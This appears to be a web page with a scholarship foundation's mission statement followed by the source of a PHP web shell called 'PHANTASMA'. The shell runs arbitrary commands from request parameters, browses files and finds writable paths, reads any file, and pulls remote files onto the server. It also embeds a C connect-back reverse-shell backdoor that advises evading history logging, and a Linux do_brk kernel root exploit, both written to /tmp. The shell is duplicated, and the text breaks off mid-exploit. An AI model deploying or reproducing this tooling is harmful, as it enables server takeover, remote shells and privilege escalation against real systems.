John T. Holley Foundation Mission Statement:
To provide financial assistance to minority/disadvantage students who are willing to further their education in the field of science or education in the name of John T. Holley. The creation of the foundation will help students who demonstrate financial need for assistance to attend an institution of higher learning.
<CENTER>
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; color: #F3b700;">PHANTASMA- NeW CmD ;) </DIV>
<BR>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3b700;">Informação do sistema</DIV>
<?php
//
closelog( );
$dono = get_current_user( );
$ver = phpversion( );
$login = posix_getuid( );
$euid = posix_geteuid( );
$gid = posix_getgid( );
if ($chdir == "") $chdir = getcwd( );
?>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php
$uname = posix_uname( );
while (list($info, $value) = each ($uname)) {
?>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;"><?= $info ?>: <?= $value ?></DIV></TD>
</TR>
<?php
}
?>
<TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Script Current User: <?= $dono ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">PHP Version: <?= $ver ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">User Info: uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Current Path: <?= $chdir ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Server IP: <?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Web Server: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
</TR>
</TABLE>
<BR>
<?php
if ($cmd != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Command Mode Run</DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Command Stdout</DIV>
<?php
if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}
if (isset($chdir)) @chdir($chdir);
ob_start( );
$fe("$cmd 2>&1");
$output = ob_get_contents();
ob_end_clean( );
?>
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 12px;">
<?php
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>
</TEXTAREA>
<BR>
<?php
}
if ($safemode != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Safemode Mode Run</DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Safe Mode Directory Listing</DIV>
<?php
if ($dir = @opendir($chdir)) {
echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
echo "<TR>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
while (($file = readdir($dir)) !== false) {
if (@is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>";
// echo "<font color=green>$file1 - $file2 - $file </font><br>";
flush( );
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>";
// echo "<font color=blue>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TD>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>";
if ($dir = opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TR>";
echo "</TABLE>";
}
}
?>
<?php
if ($shell == "write") {
$shell = "#include <stdio.h>\n" .
"#include <sys/socket.h>\n" .
"#include <netinet/in.h>\n" .
"#include <arpa/inet.h>\n" .
"#include <netdb.h>\n" .
"int main(int argc, char **argv) {\n" .
" char *host;\n" .
" int port = 80;\n" .
" int f;\n" .
" int l;\n" .
" int sock;\n" .
" struct in_addr ia;\n" .
" struct sockaddr_in sin, from;\n" .
" struct hostent *he;\n" .
" char msg[ ] = \"Welcome to Data Cha0s Connect Back Shell\\n\\n\"\n" .
" \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" .
" \"For More Reliable Shell.\\n\"\n" .
" \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" .
" \"For Not Getting Logged.\\n(;\\n\\n\";\n" .
" printf(\"Data Cha0s Connect Back Backdoor\\n\\n\");\n" .
" if (argc < 2 || argc > 3) {\n" .
" printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" .
" return 1;\n" .
" }\n" .
" printf(\"[*] Dumping Arguments\\n\");\n" .
" l = strlen(argv[1]);\n" .
" if (l <= 0) {\n" .
" printf(\"[-] Invalid Host Name\\n\");\n" .
" return 1;\n" .
" }\n" .
" if (!(host = (char *) malloc(l))) {\n" .
" printf(\"[-] Unable to Allocate Memory\\n\");\n" .
" return 1;\n" .
" }\n" .
" strncpy(host, argv[1], l);\n" .
" if (argc == 3) {\n" .
" port = atoi(argv[2]);\n" .
" if (port <= 0 || port > 65535) {\n" .
" printf(\"[-] Invalid Port Number\\n\");\n" .
" return 1;\n" .
" }\n" .
" }\n" .
" printf(\"[*] Resolving Host Name\\n\");\n" .
" he = gethostbyname(host);\n" .
" if (he) {\n" .
" memcpy(&ia.s_addr, he->h_addr, 4);\n" .
" } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" .
" printf(\"[-] Unable to Resolve: %s\\n\", host);\n" .
" return 1;\n" .
" }\n" .
" sin.sin_family = PF_INET;\n" .
" sin.sin_addr.s_addr = ia.s_addr;\n" .
" sin.sin_port = htons(port);\n" .
" printf(\"[*] Connecting...\\n\");\n" .
" if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" .
" printf(\"[-] Socket Error\\n\");\n" .
" return 1;\n" .
" }\n" .
" if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" .
" printf(\"[-] Unable to Connect\\n\");\n" .
" return 1;\n" .
" }\n" .
" printf(\"[*] Spawning Shell\\n\");\n" .
" f = fork( );\n" .
" if (f < 0) {\n" .
" printf(\"[-] Unable to Fork\\n\");\n" .
" return 1;\n" .
" } else if (!f) {\n" .
" write(sock, msg, sizeof(msg));\n" .
" dup2(sock, 0);\n" .
" dup2(sock, 1);\n" .
" dup2(sock, 2);\n" .
" execl(\"/bin/sh\", \"shell\", NULL);\n" .
" close(sock);\n" .
" return 0;\n" .
" }\n" .
" printf(\"[*] Detached\\n\\n\");\n" .
" return 0;\n" .
"}\n";
$fp = fopen("/tmp/dc-connectback.c", "w");
$ok = fwrite($fp, $shell);
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Connect Back Shell Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Shell</DIV>";
}
}
if ($kernel == "write") {
$kernel = "/*\n" .
" * hatorihanzo.c\n" .
" * Linux kernel do_brk vma overflow exploit.\n" .
" *\n" .
" * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>\n" .
" *\n" .
" * Further research and exploit development by\n" .
" * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.\n" .
" *\n" .
" * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.\n" .
" *\n" .
" * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE\n" .
" * OF PRESENTED CODE IS STRICTLY PROHIBITED.\n" .
"*/\n" .
"#define _GNU_SOURCE\n" .
"#include <stdio.h>\n" .
"#include <stdlib.h>\n" .
"#include <errno.h>\n" .
"#include <string.h>\n" .
"#include <unistd.h>\n" .
"#include <fcntl.h>\n" .
"#include <signal.h>\n" .
"#include <paths.h>\n" .
"#include <grp.h>\n" .
"#include <setjmp.h>\n" .
"#include <stdint.h>\n" .
"#include <sys/mman.h>\n" .
"#include <sys/ipc.h>\n" .
"#include <sys/shm.h>\n" .
"#include <sys/ucontext.h>\n" .
"#include <sys/wait.h>\n" .
"#include <asm/ldt.h>\n" .
"#include <asm/page.h>\n" .
"#include <asm/segment.h>\n" .
"#include <linux/unistd.h>\n" .
"#include <linux/linkage.h>\n" .
"#define kB * 1024\n" .
"#define MB * 1024 kB\n" .
"#define GB * 1024 MB\n" .
"#define MAGIC 0xdefaced /* I should've patented this number -cliph */\n" .
"#define ENTRY_MAGIC 0\n" .
"#define ENTRY_GATE 2\n" .
"#define ENTRY_CS 4\n" .
"#define ENTRY_DS 6\n" .
"#define CS ((ENTRY_CS << 2) | 4)\n" .
"#define DS ((ENTRY_DS << 2) | 4)\n" .
"#define GATE ((ENTRY_GATE << 2) | 4 | 3)\n" .
"#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)\n" .
"#define TOP_ADDR 0xFFFFE000U\n" .
"/* configuration */\n" .
"unsigned task_size;\n" .
"unsigned page;\n" .
"uid_t uid;\n" .
"unsigned address;\n" .
"int dontexit = 0;\n" .
"void fatal(char * msg)\n" .
"{\n" .
" fprintf(stderr, \"[-] %s: %s\\n\", msg, strerror(errno));\n" .
" if (dontexit) {\n" .
" fprintf(stderr, \"[-] Unable to exit, entering neverending loop.\\n\");\n" .
" kill(getpid(), SIGSTOP);\n" .
" for (;;) pause();\n" .
" }\n" .
" exit(EXIT_FAILURE);\n" .
"}\n" .
"void configure(void)\n" .
"{\n" .
" unsigned val;\n" .
" task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;\n" .
" uid = getuid();\n" .
"}\n" .
"void expand(void)\n" .
"{\n" .
" unsigned top = (unsigned) sbrk(0);\n" .
" unsigned limit = address + PAGE_SIZE;\n" .
" do {\n" .
" if (sbrk(PAGE_SIZE) == NULL)\n" .
" fatal(\"Kernel seems not to be vulnerable\");\n" .
" dontexit = 1;\n" .
" top += PAGE_SIZE;\n" .
" } while (top < limit);\n" .
"}\n" .
"jmp_buf jmp;\n" .
"#define MAP_NOPAGE 1\n" .
"#define MAP_ISPAGE 2\n" .
"void sigsegv(int signo, siginfo_t * si, void * ptr)\n" .
"{\n" .
" struct ucontext * uc = (struct ucontext *) ptr;\n" .
" int error_code = uc->uc_mcontext.gregs[REG_ERR];\n" .
" (void)signo;\n" .
" (void)si;\n" .
" error_code = MAP_NOPAGE + (error_code & 1);\n" .
" longjmp(jmp, error_code);\n" .
"}\n" .
"void prepare(void)\n" .
"{\n" .
" struct sigaction sa;\n" .
" sa.sa_sigaction = sigsegv;\n" .
" sa.sa_flags = SA_SIGINFO | SA_NOMASK;\n" .
" sigemptyset(&sa.sa_mask);\n" .
" sigaction(SIGSEGV, &sa, NULL);\n" .
"}\n" .
"int testaddr(unsigned addr)\n" .
"{\n" .
" int val;\n" .
" val = setjmp(jmp);\n" .
" if (val == 0) {\n" .
" asm (\"verr (%%eax)\" : : \"a\" (addr));\n" .
" return MAP_ISPAGE;\n" .
" }\n" .
" return val;\n" .
"}\n" .
"#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)\n" .
"#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))\n" .
"#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)\n" .
"void map(unsigned * map)\n" .
"{\n" .
" unsigned addr = task_size;\n" .
" unsigned bit = 1;\n" .
" prepare();\n" .
" while (addr < TOP_ADDR) {\n" .
" if (testaddr(addr) == MAP_ISPAGE)\n" .
" *map |= bit;\n" .
" addr += PAGE_SIZE;\n" .
" next(map, bit);\n" .
" }\n" .
" signal(SIGSEGV, SIG_DFL);\n" .
"}\n" .
"void find(unsigned * m)\n" .
"{\n" .
" unsigned addr = task_size;\n" .
" unsigned bit = 1;\n" .
" unsigned count;\n" .
" unsigned tmp;\n" .
" prepare();\n" .
" tmp = address = count = 0U;\n" .
" while (addr < TOP_ADDR) {\n" .
" int val = testaddr(addr);\n" .
" if (val == MAP_ISPAGE && (*m & bit) == 0) {\n" .
" if (!tmp) tmp = addr;\n" .
" count++;\n" .
" } else {\n" .
" if (tmp && count == LDT_PAGES) {\n" .
" errno = EAGAIN;\n" .
" if (address)\n" .
" fatal(\"double allocation\\n\");\n" .
" address = tmp;\n" .
" }\n" .
" tmp = count = 0U;\n" .
" }\n" .
" addr += PAGE_SIZE;\n" .
" next(m, bit);\n" .
" }\n" .
" signal(SIGSEGV, SIG_DFL);\n" .
" if (address)\n" .
" return;\n" .
" errno = ENOTSUP;\n" .
" fatal(\"Unable to determine kernel address\");\n" .
"}\n" .
"int modify_ldt(int, void *, unsigned);\n" .
"void ldt(unsigned * m)\n" .
"{\n" .
" struct modify_ldt_ldt_s l;\n" .
" map(m);\n" .
" memset(&l, 0, sizeof(l));\n" .
" l.entry_number = LDT_ENTRIES - 1;\n" .
" l.seg_32bit = 1;\n" .
" l.base_addr = MAGIC >> 16;\n" .
" l.limit = MAGIC & 0xffff;\n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
" fatal(\"Unable to set up LDT\");\n" .
" l.entry_number = ENTRY_MAGIC / 2;\n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
" fatal(\"Unable to set up LDT\");\n" .
" find(m);\n" .
"}\n" .
"asmlinkage void kernel(unsigned * task)\n" .
"{\n" .
" unsigned * addr = task;\n" .
" /* looking for uids */\n" .
" while (addr[0] != uid || addr[1] != uid ||\n" .
" addr[2] != uid || addr[3] != uid)\n" .
" addr++;\n" .
" addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */\n" .
" addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */\n" .
" addr[8] = 0;\n" .
" /* looking for vma */\n" .
" for (addr = (unsigned *) task_size; addr; addr++) {\n" .
" if (addr[0] >= task_size && addr[1] < task_size &&\n" .
" addr[2] == address && addr[3] >= task_size) {\n" .
" addr[2] = task_size - PAGE_SIZE;\n" .
" addr = (unsigned *) addr[3];\n" .
" addr[1] = task_size - PAGE_SIZE;\n" .
" addr[2] = task_size;\n" .
" break;\n" .
" }\n" .
" }\n" .
"}\n" .
"void kcode(void);\n" .
"#define __str(s) #s\n" .
"#define str(s) __str(s)\n" .
"void __kcode(void)\n" .
"{\n" .
" asm(\n" .
" \"kcode: \\n\"\n" .
" \" pusha \\n\"\n" .
" \" pushl %es \\n\"\n" .
" \" pushl %ds \\n\"\n" .
" \" movl $(\" str(DS) \") ,%edx \\n\"\n" .
" \" movl %edx,%es \\n\"\n" .
" \" movl %edx,%ds \\n\"\n" .
" \" movl $0xffffe000,%eax \\n\"\n" .
" \" andl %esp,%eax \\n\"\n" .
" \" pushl %eax \\n\"\n" .
" \" call kernel \\n\"\n" .
" \" addl $4, %esp \\n\"\n" .
" \" popl %ds \\n\"\n" .
" \" popl %es \\n\"\n" .
" \" popa \\n\"\n" .
" \" lret \\n\"\n" .
" );\n" .
"}\n" .
"void knockout(void)\n" .
"{\n" .
" unsigned * addr = (unsigned *) address;\n" .
" if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)\n" .
" fatal(\"Unable to change page protection\");\n" .
" errno = ESRCH;\n" .
" if (addr[ENTRY_MAGIC] != MAGIC)\n" .
" fatal(\"Invalid LDT entry\");\n" .
" /* setting call gate and privileged descriptors */\n" .
" addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);\n" .
" addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;\n" .
" addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */\n" .
" addr[ENTRY_CS+1] = 0x00cf9a00U;\n" .
" addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */\n" .
" addr[ENTRY_DS+1] = 0x00cf9200U;\n" .
" prepare();\n" .
" if (setjmp(jmp) != 0) {\n" .
" errno = ENOEXEC;\n" .
" fatal(\"Unable to jump to call gate\");\n" .
" }\n" .
" asm(\"lcall $\" str(GATE) \",$0x0\"); /* this is it */\n" .
"}\n" .
"void shell(void)\n" .
"{\n" .
" char * argv[] = { _PATH_BSHELL, NULL };\n" .
" execve(_PATH_BSHELL, argv, environ);\n" .
" fatal(\"Unable to spawn shell\\n\");\n" .
"}\n" .
"void remap(void)\n" .
"{\n" .
" static char stack[8 MB]; /* new stack */\n" .
" static char * envp[] = { \"PATH=\" _PATH_STDPATH, NULL };\n" .
" static unsigned * m;\n" .
" static unsigned b;\n" .
" m = (unsigned *) sbrk(map_size);\n" .
" if (!m)\n" .
" fatal(\"Unable to allocate memory\");\n" .
" environ = envp;\n" .
" asm (\"movl %0, %%esp\\n\" : : \"a\" (stack + sizeof(stack)));\n" .
" b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;\n" .
" if (munmap((void*)b, task_size - b) == -1)\n" .
" fatal(\"Unable to unmap stack\");\n" .
" while (b < task_size) {\n" .
" if (sbrk(PAGE_SIZE) == NULL)\n" .
" fatal(\"Unable to expand BSS\");\n" .
" b += PAGE_SIZE;\n" .
" }\n" .
" ldt(m);\n" .
" expand();\n" .
" knockout();\n" .
" shell();\n" .
"}\n" .
"int main(void)\n" .
"{\n" .
" configure();\n" .
" remap();\n" .
" return EXIT_FAILURE;\n" .
"}\n";
$fp = fopen("/tmp/xpl_brk.c", "w");
$ok = fwrite($fp, $kernel);
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Linux Local Kernel Exploit Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Kernel Exploit</DIV>";
}
}
?>
</CENTER>
<pre><font face="Tahoma" size="2">
<?php
// Function to Visualize Source Code files
if ($see != "") {
$fp = fopen($see, "r");
$read = fread($fp, 30000);
echo "============== $see ================<br>";
echo "<textarea name=textarea cols=80 rows=15>";
echo "$read";
Echo "</textarea>";
}
// Function to Dowload Local Xploite Binary COde or Source Code
if ($dx != "") {
$fp = @fopen("$hostxpl",r);
$fp2 = @fopen("$storage","w");
fwrite($fp2, "");
$fp1 = @fopen("$storage","a+");
for (;;) {
$read = @fread($fp, 4096);
if (empty($read)) break;
$ok = fwrite($fp1, $read);
if (empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Uploading File</DIV>";
break;
}
}
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] File Was Successfuly Uploaded</DIV>";
}
}
flush( );
// Function to visulize Format Col
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; color: #F3b700;">PHANTASMA- NeW CmD ;) </DIV>
<BR>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3b700;">Informação do sistema</DIV>
<?php
//
closelog( );
$dono = get_current_user( );
$ver = phpversion( );
$login = posix_getuid( );
$euid = posix_geteuid( );
$gid = posix_getgid( );
if ($chdir == "") $chdir = getcwd( );
?>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php
$uname = posix_uname( );
while (list($info, $value) = each ($uname)) {
?>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;"><?= $info ?>: <?= $value ?></DIV></TD>
</TR>
<?php
}
?>
<TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Script Current User: <?= $dono ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">PHP Version: <?= $ver ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">User Info: uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Current Path: <?= $chdir ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Server IP: <?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Web Server: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
</TR>
</TABLE>
<BR>
<?php
if ($cmd != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Command Mode Run</DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Command Stdout</DIV>
<?php
if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}
if (isset($chdir)) @chdir($chdir);
ob_start( );
$fe("$cmd 2>&1");
$output = ob_get_contents();
ob_end_clean( );
?>
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 12px;">
<?php
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>
</TEXTAREA>
<BR>
<?php
}
if ($safemode != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Safemode Mode Run</DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Safe Mode Directory Listing</DIV>
<?php
if ($dir = @opendir($chdir)) {
echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
echo "<TR>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
while (($file = readdir($dir)) !== false) {
if (@is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>";
// echo "<font color=green>$file1 - $file2 - $file </font><br>";
flush( );
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>";
// echo "<font color=blue>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TD>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>";
if ($dir = opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TR>";
echo "</TABLE>";
}
}
?>
<?php
if ($shell == "write") {
$shell = "#include <stdio.h>\n" .
"#include <sys/socket.h>\n" .
"#include <netinet/in.h>\n" .
"#include <arpa/inet.h>\n" .
"#include <netdb.h>\n" .
"int main(int argc, char **argv) {\n" .
" char *host;\n" .
" int port = 80;\n" .
" int f;\n" .
" int l;\n" .
" int sock;\n" .
" struct in_addr ia;\n" .
" struct sockaddr_in sin, from;\n" .
" struct hostent *he;\n" .
" char msg[ ] = \"Welcome to Data Cha0s Connect Back Shell\\n\\n\"\n" .
" \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" .
" \"For More Reliable Shell.\\n\"\n" .
" \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" .
" \"For Not Getting Logged.\\n(;\\n\\n\";\n" .
" printf(\"Data Cha0s Connect Back Backdoor\\n\\n\");\n" .
" if (argc < 2 || argc > 3) {\n" .
" printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" .
" return 1;\n" .
" }\n" .
" printf(\"[*] Dumping Arguments\\n\");\n" .
" l = strlen(argv[1]);\n" .
" if (l <= 0) {\n" .
" printf(\"[-] Invalid Host Name\\n\");\n" .
" return 1;\n" .
" }\n" .
" if (!(host = (char *) malloc(l))) {\n" .
" printf(\"[-] Unable to Allocate Memory\\n\");\n" .
" return 1;\n" .
" }\n" .
" strncpy(host, argv[1], l);\n" .
" if (argc == 3) {\n" .
" port = atoi(argv[2]);\n" .
" if (port <= 0 || port > 65535) {\n" .
" printf(\"[-] Invalid Port Number\\n\");\n" .
" return 1;\n" .
" }\n" .
" }\n" .
" printf(\"[*] Resolving Host Name\\n\");\n" .
" he = gethostbyname(host);\n" .
" if (he) {\n" .
" memcpy(&ia.s_addr, he->h_addr, 4);\n" .
" } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" .
" printf(\"[-] Unable to Resolve: %s\\n\", host);\n" .
" return 1;\n" .
" }\n" .
" sin.sin_family = PF_INET;\n" .
" sin.sin_addr.s_addr = ia.s_addr;\n" .
" sin.sin_port = htons(port);\n" .
" printf(\"[*] Connecting...\\n\");\n" .
" if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" .
" printf(\"[-] Socket Error\\n\");\n" .
" return 1;\n" .
" }\n" .
" if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" .
" printf(\"[-] Unable to Connect\\n\");\n" .
" return 1;\n" .
" }\n" .
" printf(\"[*] Spawning Shell\\n\");\n" .
" f = fork( );\n" .
" if (f < 0) {\n" .
" printf(\"[-] Unable to Fork\\n\");\n" .
" return 1;\n" .
" } else if (!f) {\n" .
" write(sock, msg, sizeof(msg));\n" .
" dup2(sock, 0);\n" .
" dup2(sock, 1);\n" .
" dup2(sock, 2);\n" .
" execl(\"/bin/sh\", \"shell\", NULL);\n" .
" close(sock);\n" .
" return 0;\n" .
" }\n" .
" printf(\"[*] Detached\\n\\n\");\n" .
" return 0;\n" .
"}\n";
$fp = fopen("/tmp/dc-connectback.c", "w");
$ok = fwrite($fp, $shell);
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Connect Back Shell Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Shell</DIV>";
}
}
if ($kernel == "write") {
$kernel = "/*\n" .
" * hatorihanzo.c\n" .
" * Linux kernel do_brk vma overflow exploit.\n" .
" *\n" .
" * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>\n" .
" *\n" .
" * Further research and exploit development by\n" .
" * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.\n" .
" *\n" .
" * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.\n" .
" *\n" .
" * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE\n" .
" * OF PRESENTED CODE IS STRICTLY PROHIBITED.\n" .
"*/\n" .
"#define _GNU_SOURCE\n" .
"#include <stdio.h>\n" .
"#include <stdlib.h>\n" .
"#include <errno.h>\n" .
"#include <string.h>\n" .
"#include <unistd.h>\n" .
"#include <fcntl.h>\n" .
"#include <signal.h>\n" .
"#include <paths.h>\n" .
"#include <grp.h>\n" .
"#include <setjmp.h>\n" .
"#include <stdint.h>\n" .
"#include <sys/mman.h>\n" .
"#include <sys/ipc.h>\n" .
"#include <sys/shm.h>\n" .
"#include <sys/ucontext.h>\n" .
"#include <sys/wait.h>\n" .
"#include <asm/ldt.h>\n" .
"#include <asm/page.h>\n" .
"#include <asm/segment.h>\n" .
"#include <linux/unistd.h>\n" .
"#include <linux/linkage.h>\n" .
"#define kB * 1024\n" .
"#define MB * 1024 kB\n" .
"#define GB * 1024 MB\n" .
"#define MAGIC 0xdefaced /* I should've patented this number -cliph */\n" .
"#define ENTRY_MAGIC 0\n" .
"#define ENTRY_GATE 2\n" .
"#define ENTRY_CS 4\n" .
"#define ENTRY_DS 6\n" .
"#define CS ((ENTRY_CS << 2) | 4)\n" .
"#define DS ((ENTRY_DS << 2) | 4)\n" .
"#define GATE ((ENTRY_GATE << 2) | 4 | 3)\n" .
"#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)\n" .
"#define TOP_ADDR 0xFFFFE000U\n" .
"/* configuration */\n" .
"unsigned task_size;\n" .
"unsigned page;\n" .
"uid_t uid;\n" .
"unsigned address;\n" .
"int dontexit = 0;\n" .
"void fatal(char * msg)\n" .
"{\n" .
" fprintf(stderr, \"[-] %s: %s\\n\", msg, strerror(errno));\n" .
" if (dontexit) {\n" .
